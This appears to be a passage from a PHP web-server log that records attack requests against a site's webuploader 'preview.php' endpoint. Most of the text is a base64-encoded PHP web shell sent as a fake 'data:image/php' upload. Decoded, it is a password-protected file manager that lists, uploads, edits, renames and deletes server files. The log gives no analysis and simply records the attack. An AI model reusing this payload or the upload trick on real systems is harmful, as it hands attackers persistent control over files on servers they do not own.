CRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'common' => 'lib', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:30:55+08:00 ] 119.42.146.234 POST 51tianwei.com/Public/Js/webuploader/0.1.15/server/preview.php [运行时间:0.002798s] [吞吐率:357.42req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'Js', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250a